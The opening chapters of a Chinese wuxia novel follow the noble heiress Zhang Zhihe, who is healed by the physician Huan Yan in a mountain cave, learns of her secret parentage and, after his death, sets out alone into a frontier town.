《少年当家》
1. 一骤天翻地覆
引子
《邺国纪要》
「辛未腊月,凤临大疫。自京畿至州县,十室九闭,炊烟断绝,太医院日呈亡者不计。壬申春,白陵张氏上报,妻潘氏产双生子,长子天作双眸若凤,幼女之合瞳如点漆。帝命太卜占之,双子为祥瑞,帝颁恤民诏:“上玄垂佑,降此双星,民命重于礼法,大赦天下。”四月末,沉疴顿去,十三道疫气尽消。」
……
「赤元十四年,白陵张氏上报,次女之合,年十二,夙慧明敏,果毅无两,尝代父批阅要事文书,事皆中理,可袭嗣位。帝从之。」
青简竹帛,以墨掩叹,字里行间,勾勒兴衰。然,少年意气,如新竹破势,胸壑风雷,不循旧迹,逝水为墨,另立苍茫。
那中有诗有酒、有梦有泪。
有铁骨男儿倒转乾坤,有神机谋士竭诚尽节,有赤心郎白首不移,有知命人化茧成蝶,还有着位天潢贵女的,一世彷徨……
正文
梅开腊底,山风卷雪,刮到脸上,像钝刀子割肉般。
少女最后看了眼,那新垒起的土坟。终于决定,去山外的世界,一探究竟。
寒风在山间呼呼刮过,吹得她站立难稳,每踏一步,心绪就随着轮换一番。
坟中埋着的,是个用自己的阳寿,一点点将她从鬼门关拉回来的人,他叫幻言。
也是个,将她一生的骄傲与尊心,都磨灭摧尽的人。
过往数月,幻言带着少女,藏匿于荒谷山洞,一面为她修复残躯、压制其体内阴毒,一面说服她接受,她的人生,从始至今,都是生父布下的障眼法。
起初,幻言每隔三两个时辰,为她输送次真气。
到第三日时,少女神智渐复,却开始抵抗。论是幻言如何催动内力,都无法再将真气送进少女体中。
到第六日时,幻言陡然发觉,少女气息愈发虚弱,重新翻看起从张云澜手中夺来的半部《幻阴血经》,其中所载,深奥复杂,非一言可解,简而言之,当下她唯有自行修炼玄心奥义诀,方能彻底压制体内之毒。
“之,张少主,你动得了身吗?”
少女躺在那,浑身上下,被伤布缠得严严实实,如同一个破碎后,又被重新缝扎过的布偶人,只项颈、下颌、鼻梁几处露着。
口齿麻应得厉害,她试了几次,发现自己,竟连说话的力气都没有了。她定了定神,可脑中闪过的,仍是那滴血涟涟的场景。
此刻仍是难信,这世间,竟会有人的血,是紫红色的。
因一时轻敌,被张云澜擒来逼父亲束手就擒,却发现张云澜身上的血,和常人的不一样。那紫红血才淋到皮上,就像被业火烧灼般,烫得皮肤溃烂难耐。
如果不是父亲及时将她救下,真不敢想自己能撑到几时。她记得自己闭上眼睛前,是偎在父亲怀中的,“父亲,女儿怕是不行了。”而后,便是一串接一串晃着朱紫光斑的梦魇来袭。
直至方才,听到呼唤自己的声音,睁开眼后,身旁的男人,也正目光切切地看来,声音不似梦中凶恶,也未再向她挥砍锋刃。
她反复确认着,自己确是从那噩梦中,醒过来了。
层层布帛间,那副点漆般的眸珠,如夜下寒潭,闪着难以琢磨的光芒,带惊带疑,亦怒亦悲。
张云澜为了得到她家传的内功心法,可以说是将极刑用尽,除去她用来呼吸的口鼻和用来发声的舌喉,身上几乎没有人样。
幻言摸出粒药丸,送到少女唇边,“这是清心丹,可助你暂复体力。”
少女目光紧紧锁着眼前的男人,噁感油然,若非为救他,也不必遭张云澜毒手折磨。
可最令她厌噁的,确是他与父亲互报姓名后,父亲称呼了他句,“幻医正”,才方知自己冒险救下的人,竟是清农医堂首席——幻言幻医正。
由着那颗小药丸塞进嘴里,她使足力拨动舌尖,却是连一颗小药丸都吐不出口。
“快吃了它。”幻言边说,边迫着她服下。
她的唇瓣似乎恢复了一点力气,“你既识得我,便当清楚,我与你清农医者,无情分可言。”
这话激得幻言倒吸了口凉气,本以为她只是被家中盛宠的掌上明珠,不想说出的第一句话,就显足了北都少主人的架势。
但很快,他就说服自己接受了。
毕竟,这少女,早早就被家族当作继承人在培养。
是今后,将接替她的父亲坐镇北境,领率千军的人,只怕那些天真烂漫、憨态可掬的小儿女姿态,早被她那板正的父亲,剔得一干二净了。
确定她恢复了说话的气力,幻言才道,“现在并非追究过往恩怨的时候。张少主,你可知陵侯为你延命,已是将他大半功力都渡到了你身上。他去搬救兵前再三交代,让我无论如何,都要救活你。你这般自弃,若真有个万一,可对得起令尊呐?”
张之合目中,好像突然见到光似的,“父亲走多久了?”
不等幻言答话,她又激动地接了句,“你休骗我。我白陵张家与你清农幻氏隔着不共戴天的深仇,父亲怎么可能将我交给你?”
幻言道,“张少主,你听我——”
“你什么你?”
“当年你幻氏一族以一医女,毁我张家三十万大军,令张家几乎亡族。”
“那之后我张家先祖便示训后人,再不得与你幻氏中人、与清农医者有所往来。凡与之往来者,遑论清农人抑或张家人,俱除之,以儆后生。”
“先祖德厚,没灭你清农全族已是开恩。你竟胆敢说出什么家父把我交给你的话,无耻之尤。”
“家训难违,恕难从命,我就是死,也要做清清白白的张家人,绝不与你清农有染。”
虽才恢复气力,张之合却言辞赫赫,连番数落祖上恩怨。说后,更是不愿多看幻言一眼,径自将头别了过去,抵磨着上下两排牙,盼幻言快些远去。
这一家训,是她还没有开始读书识字时,就能一字不落脱口而出的。
为的,便是能要记住与清农医者间,那段不共戴天的仇恨,不仅她,白陵张家的每个人,都将那段深仇大恨烂熟于心。
百年前,天下起战。
那时,清农医者还未落脚于云间城清农医堂,仅是幻氏一族领率,在垦岭游居的一支小部落。
张家的大军本势如破竹,已将半壁江山揽入手中,正在水土最为充沛肥沃的凤临江下游休养生息,与此同时,轩辕氏正同诸路敌勇为如何分据凤临江北,打得如火如荼。
只待江北诸军伤败俱现,以逸待劳的张家大军就将一举北上,坐享天下。
不想,张家这即将逐鹿北伐的三十万大军,却被幻氏进献的一名医女和一部名为《幻阴血经》的医书,毁于一旦。
最终,轩辕氏,登临天下,张家,俯首称臣。
吃一堑,长一智。
那之后,张家族内就有一道严令,张家后人不得与幻氏门内的医者有所往来。
而今,莫说清农医堂,连医堂所在的云间城,白陵张家的人,都是过而不入,半步不会踏进的。
幻言看着那少女又倔又强的背身,即使全身被缠裹不得动弹,仍不明现状。不禁一叹,这小姑娘到底过惯那众星捧月的日子,但凡懂得退让些,也不致在张云澜手下遭此极罪,可要解她体内之毒,只得靠她认清事实,
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自行修炼玄心奥义诀,无可旁助。
“可是说痛快了?”幻言随口问了句,见她没做反应,又问道,“张家既如此痛恨幻氏,那为何我被张云澜逼得走投无路时,陵侯还要出手相救?”
张之合侧头道,“少往自己脸上贴金,父亲若知你便是幻言,怎会管你?”
幻言叹着头,苦笑了下,“我与令尊打交道时,你还在你娘肚子里呢。你猜,那时他在做什么?”
张之合即又抛了句,“你听仔细了,我和父亲出手,是为杀张云澜,是为夺回青峰剑,与你没有半分关系。”
幻言自叹几许,顾自回忆着,“那时,他也正四处追查张云澜的下落,东海、燕山、南越、江邑、垦岭,他几乎是将大邺的大小州郡跑了个遍。这普天之下,恐也只有他,可以为了一个张云澜,为了一把青峰剑,舍得搭上自己的半生时光。”
“半生?”张之合轻质了声,而后用着股极为不屑的语气道,“你也太小瞧我们张家了。青峰剑失传近六十年,我的高祖,我的祖父,我的叔祖,哪一代人不在找?父亲说过,如果哪天他找不动了,就该换作是我和二哥去了。”
幻言深叹一息,若不是看在张鸢如此弥祸的份儿上,他也不知自己会不会救张之合,却听张之合突然怨了句,“说到底,这祸根,也是你们清农的人种下的。”
“我们清农?”幻言嘲着声重复道,向张之合的背身挑去一眼,道,“张少主,这件事是一个巴掌拍不响的。是,是清农的医女去白陵偷的青峰剑,这我不否认。但,是何人领她进的墨白城?又是何人带她出的墨白城?个中情由,恐怕你该比我更清楚才是。”
张之合咬着下唇,“我们张家与你清农不同,家门出了败类,自然懂得清理门户。只是可惜,祖父和云冲叔祖并未见过青峰剑的模样,才使得张招有机会以一把假的青峰剑为饵,让他那儿子张云澜蒙混逃了去。不然,”她顿了下,“不然这件事四十年前就当了结了,何需遗至今时今日!”
幻言煞是一惊。
张云澜明与她祖父同辈,可在张之合这位家中少主口中谈及,却如在训斥晚辈般。
恐自己穷尽一生,也不能再奈张云澜如何。可张之合还如此年轻,若用自己一命为她换来生机,给张云澜留下一个既年轻而又绝无可能饶过他的对手,那才将是对他最有力的打击。
幻言上前,轻轻将她头掰正了来,对着她语重心长道,“张少主,你的幻阴毒已经深浸骨髓,我能帮你压制一时,但若想彻底去了这毒,还得靠你自己练成玄心奥义诀才是。”
张之合脑袋一抽,又侧了回去,“我已经说得很清楚了,我是不会同你们清农有半分瓜葛的。让我练你们的武功,做梦。”
“你娘亲本就是我清农的医女。”
“你张口便称什么不与清农有瓜葛,可你身上流的都是我们清农人的血。”
“血浓于水,你同清农的关系是你想断就断得开的?”
张之合越听越恼,忿忿回了句,“一派胡言,天下谁人不知,我与家兄乃是张、潘二族之后,与你清农有何关联?”
幻言道,“这些都是陵侯亲口告诉我的,他说你确是他和小乐的女儿。”而后,用手指在她颊上轻刮了下,暖着声说道,“他将你托付给我时,我才知道,原来当年,张鸢还是将你留下了。”
“将手拿开,你可知戏弄本少主是什么下场吗?”
幻言还当她在开玩笑,扶额叹笑起来,“究竟是谁在戏弄谁?”
张之合轻哼一声,沉着声道,“你若再诬我乃清农医女之后,我张之合必叫你清农全族,不,是整座云间城鸡犬不留,为你陪葬。”
2. 天兵天将为吾?
轩辕氏在凤临开国建朝后,分封张家为北都之主,定都白陵,亦将凤临江以南的江邑一带水乡封予潘家。
而今,白陵兵再冠大邺,江邑亦富庶有余。
张之合,作为张、潘二氏的女儿,遑论在北、在南,都是无人堪比的天潢贵女,所到之处,无不是众星捧月。
她得如此出身,若定要强挑处不满出来,恐怕也只是她在家中的序位了。
她虽为幼,但与兄长相处时,却如姐弟。不因别的,仅是她体格胜于三哥,更得父亲爱重,她怕三哥觉有落差,便事事都顾及着三哥。
幻言的话,张之合自是一个字也不会信,却是反复默念着,小乐,小乐……母亲的丫鬟都是叫玉笛、玉音……父亲若真有红颜,也当有个正经姓名才是,叫什么小乐?
越念越忿,“你口中的小乐,姓甚名谁,出自何门?”
幻言默了下,“她,她,总之,她确实是你的生身之母。”
张之合轻嗤道,“我母乃江邑潘氏女,闺名讳嫣,姓名、籍贯、何年何月嫁来白陵,一应具载于张家族谱上,可考可查。你诋毁家父清誉还嫌不足,还要凭空捏造一无名无姓的女子来羞辱家母,诬我与三哥非家母所出,简直荒谬。”
张之合诉着她那无可挑剔的家世。
幻言道,“你还不明白吗?你是陵侯从外抱回的,他将你与张三公子养在一处,对外宣称是一对双生兄妹。”
若非体伤未愈,身缚伤布,张之合真想对着幻言好似发泄顿,而眼下,只能抿着嘴,任他胡言。
“陵侯夫人怀胎八月即产子,旁人当是早产,只有张鸢最是明白,那是因小乐临盆在即,他为了能将你顺利带回张家而设的局,为的,便是能瞒下你是小乐亲女的事实。”
张之合本又气又恼,却突然错愕住了。
母亲确是提过,她和三哥是早产的,那时三哥才落地,就有贼人趁守卫不备闯入,将她和一众产婆弄得昏迷。再醒来时,发现屋内金银玉器具在,只是新落地的孩子却不见了,而父亲业已去捉拿贼人。
幸好父亲武功卓绝,不过几日,就将兄妹二人完好无损地带了回来。
母亲看到她与三哥时,不是一般欣喜。因为,她一直以为,自己只得了一子,未曾想,她失去知觉过后,又诞下一女儿来。
或许这些,还可解释为巧合,但有一件事,更能验证,她与三哥的不同。
较之闲情岁月中,父亲有意无意流露的偏爱,去岁芳辰,父亲送她的那份大礼,更是常人痴渴一生,都不可得的。
他顶着白陵朝野非议的声音,力排众议,上奏凤临朝廷,立身为幼女的她,做了白陵城少主,今后接继他的君侯之位。
张家铁骑戍卫北都白陵,不仅保得北境百年安平,连当今献帝,也是借着白陵兵马才得以击溃两位皇兄,夺来帝位。
在大邺,这北都少主的地位,如在东宫太子之上,而父亲,却毫无保留地越过三哥,一举交于她手。
这一度使得她诚惶诚恐,丝毫不敢有负来自父亲的厚爱。
“张少主。”
幻言见她良久未语,试着唤了声。
张之合敛了敛神,“休要胡言,我怎么可能会是……怎么可能?父亲是不可能去结识什么清农医女的,我看这小乐,多半你编来的。我若是信了你,才是对父亲最大的侮辱。”
“我说的是真是假,待陵侯回来,你一问便知。但当下之急,必得是先压制住你身上的幻阴毒,你才好撑到他回来。”幻言斩钉截铁地说道。
张之合默住了,回头看向幻言,舌根却僵得讲不出话。
问?怎么问?如何问?问父亲是否与一位叫小乐的女子有染?还是问父亲是否结识过清农医者?
张之合几能想到,当自己问出这话时,父亲怕比此刻的自己还将盛怒。只觉荒谬至极,父亲克己复礼,对人对己,依是严厉有加,怎会做出如此不自持又始乱终弃的耻辱事,令人贻笑?
何况,结识清农医者,不仅是张家先祖对后人的训示,更是在大邺开朝时,对圣上,对天下黎民作出的承诺。
父亲怎会明知故犯,去招惹清农医女,犯当今圣上的忌讳,绝无可能!
幻言见那倔强少女闷哼半晌,也未出声,忍着肋痛探了过去,“张少主,陵侯告诉我的时候,我也很诧异,陵侯是不会拿这种事开玩笑的。我们虽祖上有怨,但我没有害你的理由。相反,我会像陵侯一样,将这件事永远地瞒下去,不让任何人知道,你和张云澜一般,也是张家人与清农医女生下的孩子。”
张之合眼眶倏紧,强负着气道,“你还说?张招已被我张家除名,我乃是陵侯之女,圣旨钦封的白陵少主。岂可与那败门之子生下的野……生下的儿子相提并论?”
“那你可知,张家为何要将他除名吗?”
张之合想也不想,“自然是勾结清农医女,盗取了青峰剑。”
“青峰剑已经丢失六十年了,这六十年间,可有谁,有哪个医女威胁到张家了?”
幻言反又语气轻松地问了句,看那少女目中一跳,却什么话也没讲出,继续道,“如今清农,有医女数十之众,单我门下,就有八人。如果一个医女就能对抗三十万大军,那我们清农,岂不都是天兵天将了?嗯?”
张之合迟疑地朝幻言看去,“你最好说清楚些。”
“不是你们张家人怕医女,是圣上在怕。更准确地说,是怕你和张云澜这般由张家人和清农医女生下的孩子,因为,你们才是那天兵天将。”
“我朝高祖皇帝是如何得的天下,张家又如何失的天下?归根结底,都是拜这部幻阴血经所赐。”幻言说着,将血经举到她眼前,“张少主,你自幼习武,这书中门道,你当比我明白,你看这里。”幻言指起经书内容述道,“就是这段阴阳相长论,阴流任脉,阳注督脉……”
张之合扫着幻言翻过的页页医经,不消一炷香的功夫,便失了兴致,“练阳便是阳,练阴便是阴,哪会有人同时修这两股截然不同的内息,便是修了,也将冲和成一股。一山不容二虎,一只虎遇上另一只虎,永远都不可能拥有两只虎的力量,不落得个两败俱伤,就属万幸了。”
幻言肯定地点点头,“你说的不错,我父亲也是这般同我讲的。”
张之合瞟去一眼,不屑道,“你怕不是也被张云澜骗了吧?费了半天劲儿,所得到的竟是部假的幻阴血经。”
幻言提了提嘴角,苦笑道,“我当真希望是假的。”说后,又审视着张之合道,“其实也不必等陵侯回来,现在,我们就能验证你的生母是否出自清农。”
张之合嘲道,“我知你们行医的懂得很多旁门左道,就是滴血验亲,都可作假。莫仗着自己有几分医术在身,就能挑拨我与母亲的母女之情,与三哥的兄妹之情,我可不上当。”
幻言怔怔一愣。心道,此女不仅是唯二可练那血经之人,还如此一思百明,不为人言左右,当真难得。也就张鸢,可以将女儿教得如此心正身直,没让她随
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了小乐那祸头。我若能因势利导,促她练成幻阴血经,不仅张云澜不足为患,连我清农一族都将有长久靠山。罢了罢了,这部血经辗转到她手中,也是场因果了。
幻言掖了掖衣衪,掩住伤肋,坐到张之合身边,对她讲出清农世代医正间的不传之秘,“先父跟我说过,我们云间城幻氏本源自垦岭。他们最初生活在一片幽谷中,那里山林茂密,有随处可见的药草。先祖便以此为生,还传下了这部可以疗残疾,治绝症的幻阴血经。”
幻言说着,深吸一口气,
“虽说这血经中的医术高深至极,但却是要以己之毒,来攻人之毒。如果是正义人士所得,自然是好事,但若到了歹人手中,那他不仅能用毒救人,更能下毒害人。所以,在很长的一段时日,这血经都是被当作禁术的。
百年前,各地陆续起战,我们幻氏先祖也曾招兵买马,可惜,垦岭的人实在太少了,招募来的兵马数量根本无法与关内各路大军相较。
他们自然就想起了幻阴血经中记载的毒术,可那时许多没有记载在血经中的习练之法早已失传,他们试了很多法子,也只学会其中一门最为浅显的毒而已。
有一天,张莫的大军竟然打进了垦岭,我们幻氏的先祖被逼到了万仞山下,见身后再无退路,只好归降,为表诚意,还献出位医女来。可谁知,在十几年后,那位医女为张莫生下的两个孩子,竟都学会了血经中的医术和毒术。
张莫也觉得奇怪,要了幻阴血经来研究,他看过后,才道出了原委。原来,是血经中的玄心奥义诀阴绵之力过盛,使人气血缓滞,张家的回龙功又是最为阳刚霸道,正巧能缓解血滞之象。可这阴阳二息又很难在一体共存,他二人可以练成,是因为他们父母分别习练过回龙功和玄心奥义诀,才给了他们一副可转阴为阳,化阳为阴的并济之体。
可张莫看到血经中的那些毒,实在太过可怕,便扬言要毁了幻阴血经。
这在幻氏族人间引起了很大的争议,有人提议要用血经中的毒来对付张莫,也有人提议将幻阴血经中和用毒相关的部分毁去,以保住先祖留下的玄心奥义诀。
最终,张莫付出了非常惨烈的代价,平息此事,而那部幻阴血经,也被幻氏族人一分为二。大多数人带着留下的玄心奥义诀投靠了轩辕氏,也就是我们清农幻氏一脉。其余的人,则带着另半部血经隐没在了垦岭。”
幻言的声音虽停住了,可张之合仍沉浸其中,失语般接道,“何止是惨烈?先祖当年为平息众乱,不仅亲手杀了那医女为他生下的孩子,还搭上了自己和三十万大军的性命。最后,张家只剩下两个青黄不接的男儿来,他们带着万余残兵,一路躲躲藏藏,北上到了白陵。
彼时,正值诸军统帅议和,要拥立高祖登基为帝,两位先祖为了保住张家最后的力量,就跟着接受了。那之后张家便再不与清农有所交集,两位先祖甚至还说过,张家绝不能再出现手足相残、骨肉相杀的一幕。”
幻言见张之合面色沉凝,已在运功,道,“你可以再试着催运我传你的玄心奥义诀,你若能同时催动两股内力,就定是小乐之女。”
张之合轻阖两下眼皮表示听到了,重新潜运内力。
“你能感受到,自己体内有着阴阳两股内力吗?”幻言追着声问道。
张之合嘴角向上扬了扬,松了口气儿般轻摇着头道,“没有。”
“怎么可能?”幻言又问了遍。
张之合沉吟片刻,眨了下眼,“确,只有回龙功在。”
3. 父胡不见女歧途
目色一沉,幻言见她终于专注运功,趁机一掌贴了去,再次将体内功力输入她体。
张之合顿时百感交集,一股阴绵软息竟真在体内流淌开来,当与父亲传予她的回龙功相遇时分,只冲而不汇,撞而不融。
适才未有所察,原是此先幻言输送进体内的玄心奥义诀太过浅弱,暂催不出。
随着阴、阳两股内力在经脉间畅行。
张之合心下顿顿裂痛,父亲,您当年除了女儿便是,何苦为自己留下如此大患呢?万一白陵知了您曾与清农医女有过情缘,您这声清名洁的白陵君侯定遭非议,万一圣上得知,即便您一生皆行忠君爱民之举,也难保不被猜忌作是不臣之人。
幻言读着张之合面上表情,“这回你该是信了吧?”
张之合停断真气,牙尖渐渐抵去上唇,恨不能咬下一块儿,“我明白了,原来张云澜一定要得到回龙功,是这般道理。回龙功,玄心奥义诀……原来这就是修炼幻阴血经的秘密。”
幻言重重点了下头,“张少主,你在张云澜那般折磨逼问下,都没能将回龙功交给他,可见你同令尊一般,都是心正不阿之人。”
张之合目中的光,却暗沉了下来,“还是太迟了,他虽没得到回龙功的心法,但却将我的功力尽数吸去了,待他能自如催运回龙功时,就可正式习练这幻阴血经了。”
“不迟。”幻言肯定道,“张云澜可练得这幻阴血经,你也可练得。他得的是你的功力,可如今你体内的,却是我和陵侯的功力了,陵侯的武功,绝冠天下,相信我,你就按这血经中的法子练,他必将为你的手下败将。”
“胡说八道,我怎能修炼这样的东西。”
张之合想也不想回了句。
幻言道,“事到如今,你还不相信,你是小乐的亲生女儿吗?”
张之合狠狠咧了他一眼,“幻言,我不是你,只清农一小小医正,无甚牵挂,我身后,不仅有着千千万万的北都子民,更担着张家的百年清名。圣上一向忌惮家父,你要知道,我的身世一旦败露,辱的不仅是父亲声名,更是会令圣上猜忌,家父是否生了异心,若因此起战,百姓必将遭难。”
幻言听着,莫名敬佩起来,却仍道,“你不练,张云澜也会去练,那时就不会起战了吗?那时百姓就不将遭难了吗?他一旦东山再起,带来的必将是一场更大的浩劫,天下都将为之一动,那时,又有何人来阻止张云澜?”
张之合喉咙像是被堵住般,几欲启齿,却不知该说些什么。
“张少主,到时首当其冲的,就是当年杀尽他父母兄姐的白陵张家,你,还能袖手旁观吗?”
“一切,等父亲回来,再做决议。”
她想了很久,才疲惫地吐出一句。
幻言见她松了口,顾不得许多,当下为她运功疗伤。
那十日,对张之合而言,显得尤其漫长。
我乃张之合,嚣张的张,天作之合的之合。
过往,张之合只消肯道出这句话来,遑论到了何处,都无人敢轻待于她。
毋需细言身后那皆出名门的父母,更毋需报出家乡来处,因为这样的出身,根本就无以复加。举国之内,除了她和三哥张天作,再无第三人可有得。
可一夕之变,她同身旁最亲的三个人,关系都变得莫名起来了。
母非生母,兄非亲兄,甚至对父亲,都有些看不透了。
不仅如此,还有她那最引以为傲的出身。
从举国间最受瞩目的张家明珠,沦为身份不可言说的私生女。从御笔亲书的天降福星,沦为可像张云澜那般随时可祸乱天下之人,那是什么?是祸星,是灾星。
她的存在,随时可能给父亲,给家族,再度带来巨灾。她无法想象,稍有不慎,那么几十年,乃至几百年后,当后人评价父亲生平时,是否会像今时她置喙曾毁了张家的医女般不耻。
看着幻言每日不辞辛苦地为自己运功疗伤,敷药包裹着身肢。
她几度想张口,告诉他不必了,就让我这么去了吧。
转念一想,不行,父亲育我不易,我岂能因清农医正这三言两语就去死?必得听父亲亲口告诉我,这一切究竟是为什么?我是缘何成了清农医女用来羞辱张家的女儿。
然,十几日过去了。不仅张鸢,一个来寻他二人的人都不曾来过。
幻言大抵猜到,陵侯张鸢,应在半途出意外了。
他自知难久,重新拾来幻阴血经,捧到张之合眼前,用着最后的时光,对着她讲起来经中医理。
一页一页的纸张在眼前翻过。
触目,惊心。
张之合每看过一种法门,便对幻言加深了一分敬意。
这幻阴血经,不仅能使得断肢再续,腐皮重生,还能以自身之血化炼奇毒,使人肌肤溃烂,摧经销骨,并且,一旦沾染上,这些高深的剧毒,还将以人传人。
而她此刻染上的,也仅仅是其中最易习练的一门幻阴毒。
若张云澜真悉数精通此中法门,将血经练成,届时,莫说几十万人,便是普天黎民,都将难逃其害。
难怪,张云澜视之如珍,难怪,幻言要拼命夺回。
张之合数着天明天暗,从燥暑数到秋底,一天冷过一天,未见父归。
眼角的泪干了一次又一次,心被攫了一次又一次,不曾有转,人生漫日,于她而言,都像是吞冰咽雪般,凉得透透的。
幻言仍宽慰着她,此处山洞隐蔽,不易找得,你再等陵侯些时日。
随着幻言将自己的内力渡给她,更是感觉得到,这少女的妥协。因为,在为她重塑肌骨时,她已经毫无抵抗的情绪了,甚至可以说,像是个不知动弹的人。
当她身子日渐好转,最先感受到的不是新生,不是光,而是重量,来自自己身体的重量。
她试图撑身,却觉身子中像是被灌了铅似的,手臂不听使唤,双腿不听使唤,稍一发力就如泥牛入海,曾提枪挥剑、策马追风的人,如今竟连自己都对抗不下了,还谈何去对抗张云澜?
她体内阴毒未能除尽,但也是将幻言磨得是劳瘁不堪,幸好可暂靠着清心丹,复些气力。
可惜,幻言却没能撑过冬底。
临终前,幻言将张之合叫来身边,正式将医书交给她,“张云澜虽受重创,但他必将卷土重来,你一定不能让他的阴谋得逞。”
她朝幻言森然看去,“幻阴血经虽能治好我四肢虚症,但一旦习练,周身血液都将呈紫红之色,若是让人发现了,等同于告诉世人,父亲曾与一名清农医女有旧。我如今与废人无异,能保住父亲的身后名,已属大幸,无心其他。”说后,手突然被幻言攥住了。
幻言温温望去,翻过她的手,将一枚银令放在掌心间,“之合,这玄月令乃是清农医正相传之物。从今日起,你便是清农的第七代医正了,所有出自清农的医者,包括我的弟弟幻声,都将听命于你。你体内虽有着我的内力,但毫无根基,如此,这玄心奥义诀算不得成。你听话,带着这玄月令去清农,去找幻声,让他将玄心奥义诀入门的功夫和法门教你,这样你的内力才好运用自如,才好恢复常人身体。”
语重心长地安排过后事后,幻言看张之合仍怔怔望着他,数月相处,他已是惯了这少女老成的做派,时常是语出惊人,像个小大人般,这才更令他放心,将清农医堂托付她手。
却万万没能料到,少女接下来将说出的话,几乎令他后悔,后悔当初放弃自救良机,转来救她。
“告诉我,小乐是谁?那个毁了
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我父亲的女人是谁?”
幻言一脸难信地看着那豆蔻芳华的少女,论是怎么看,都不觉这话该是出自少女之口。
“你要做什么?”
张之合眸光一抖,“我要杀了她,免得再叫旁人知了她与父亲的事。”
幻声用着他那奄奄一息的声音说道,“之合,那是你的亲娘。她十月怀胎生下你,你怎么可以这么对她?”
张之合沉着声道,“她,不过怀胎十月而已。你可知,家父育我足十三年矣,这十三年间,他无时无刻不在为我,为那个女人留下的这份耻辱,担着身败名裂的风险。她若对家父有情,就不该如此害他,生下我来。若对我有情,就不该十三年来都不曾见我一面,让父亲一个人担着他二人犯下的错。”
不知是幻言气力将尽,还是被张之合一语刺惊。
她话完良久,幻言都没能回应。
张之合紧忙上前探看,见他仍睁着眼睛,眼珠在眶子间打转,虽然动作很慢,张之合摇着那濒死之人说道,“你快说,小乐是谁?”
她说得很快,生怕自己稍稍耽误了,就再也听不到幻言的声音了。
惊惧之余,幻言问出了句,“你杀心怎如此之重?”
“白陵张家祖训有言,张氏后人,不得与清农医者有所往来。凡与之往来者,遑论清农人抑或张家人,俱除之,以儆后生。我虽决计此番回白陵后,将少主之位传于三哥,由他出任下任君侯,但我到底是父亲的女儿,还是要听从父亲的教诲,张家容不得此女,我亦容不得任何人有损父亲清誉。”
幻言听着像是每个字都在嚼着血的声音,又惊又怕,生生担心,比起张云澜,眼前之女,更像魔罗,他反复后悔着,她到底是小乐那祸头的女儿,自己数月以来呕心沥血地所作所为,就是为了将一个女魔头硬留在世间吗?
“你——”
“你不必担心我,待我杀了小乐,自会以一死,来偿这杀母之过,报父亲养育之恩。”
“我传功力于你,不是让你去杀自己的亲娘,你要去找的人该是张云澜,当去想的事,是如何为令尊报仇!”幻言质了声。
张之合想也不想地回道,“父亲曾教导过我兄妹三人,人生一世,生死有命,但留清白之名在人间。他已经死了,即使我报了这仇,父亲也回不来了。但是小乐,她活着一日,父亲的耻辱便在一日。父亲于我,是世间最重要之人,比起报仇,我更该去全了父亲的身后名,免得他百年后,仍为人耻笑。”
幻言虚合着眼帘,“可惜小乐已经死了。”
“死?如果她真的死了,我一早问你时,为何不讲?”
看幻言眼皮半闭,未作反应,她急忙在幻言手背上拍了几下,“休想唬我,我只想杀小乐一个,你别逼我,将你清农全族医者都屠了。”
看他仍无反应,张之合愤地甩开幻言的手,侧过头怨了句,“哼,你当不说,就能护得住她吗?天底下,还没有谁,能逃得过我天作之合馆的那双鹰目。”
张之合正琢磨着,如何躲开张云澜的耳目回到白陵,回白陵后,又当如何开口,命陈雅安不生怀疑地去查探旧事。
“之合,别再去想小乐是谁了?你查到了又能怎样?不仅于事无补,反而更会败露你的身世。”
张之合寻着耳后传来的声音,再回头看去,幻言彻底闭上了双眼。
张之合将他的两只手叠放在一块,在身边默守一日后,又用上近半月,才刨好土坟,让人入土为安。
她看着幻言留下的幻阴血经,发现数月下来,对那中内容,竟都熟悉异常,念及那时幻言舍命所得,遂将血经焚于他坟前,又掘来抔土,抹在脸上,以防被张云澜认出。
冒雪走出万仞山,路上仍是满脑思绪,想着前路。
4. 蒙落明珠行素
山下,是一座一眼望到尽头的沙丘孤镇,镇上混杂着尘沙和汗液的味道,呛得她几度不适。
孩童刺耳的嬉闹声,汉子不避讳的谈笑,她茫然地看着那些陌生的面孔,无人为她让路,无人因她的到来垂下视线。
她想揪个人来,才一提臂,半边身子便跟着坠了下。
张之合竭力挺正身子,走到一青年乞丐面前,“近日可有白陵兵马到此?”
青年汉子扫她一眼,不知这蓬头垢面的女孩儿在讲些什么,嘲着声道,“这镇子就这么大,你看我像官兵吗?”
张之合四下扫了一眼,小镇荒危,算上街头巷尾的流人叫贩,也不过百十口人的样子。心想,是呀,此乃垦岭境地,就是率兵来此,也不该大张旗鼓。追问道,“白陵来的商队呢?你可有见过?”
青年汉子摆摆手,指着万仞山后,遥遥的东北向,“小姑娘,看到没,白陵在天那边儿了,哪会有人跑到飞沙镇来做生意的?”
张之合心中一揪,不死心道,“那最近镇上可有白陵来的人?”
青年汉子不耐烦道,“除了流放来的,谁愿到这鬼地方过活?”
张之合狠狠地咧那粗鲁汉子一眼,“你管我是谁?胆敢这般同我讲话?”
那青年汉子不以为然地笑出了声,玩笑道,“你这小姑娘好张狂啊,不知道的,还以为你家里有什么大官呢。”
张之合道,“放肆!”
青年汉子登时站了过来,钳着她手道,“小姑娘,别一个人出来抛头露面,多危险啊。若是让官兵瞧见了,你还这么跟他们讲话,绝够你喝一壶的了,快回家去。”
握来的那只手既糙硬又油腻,一种噁感油然而生。
张之合身子一软,催出回龙功。哪料,才一发力,手臂间就如泄了劲儿似的,丝毫聚不起真气。
她回拽着胳膊道,“放手。”
青年汉子胳膊向前一送,将人推到数步外。
她摔倒在地,抬起头顶着一双怒目道,“大胆刁民,胆敢如此无理。”说着,发酸的手腕,已向怀中药瓶摸去。
青年汉子咋着牙花,朝地上那一脸倔劲儿的姑娘嘻嘻咧了咧嘴,“快回家找你娘去!”说完,就转身走开了。
她望着那汉子远去的身影,手停了下来,腹诽道,“算你识相。”
勉强站起身后,她又在镇上四下打听,确无任何有关白陵的消息,亦无白陵人到此来过。
黄昏临近,朔风可触,她才意识到,原来自己在这个地方是没居所的。
这个时候,腹内也跟着挣扎来,她头晕眼花地盯着街头,看着一户户温暖的光晕,到古井边,取水来喝,对着水面上映出的陌生面容,她愕住了。
一路小心翼翼的伪装,真是多余了,此时此刻,不仅张云澜认不出她,连她,都认不出自己了。
虽未生得一副绝貌,但她却为自己的容颜,骄傲至极。
因为,她的眉眼,和家中三哥一样,都是和父亲一个模子刻出的。
内尖外阔,眼眶狭长,眼尾如似凤羽般上扬。
因着这双眉眼,二人又都生得白嫩,兄妹二人看着近有七八分像,皆是玉质金相的皎人模样。
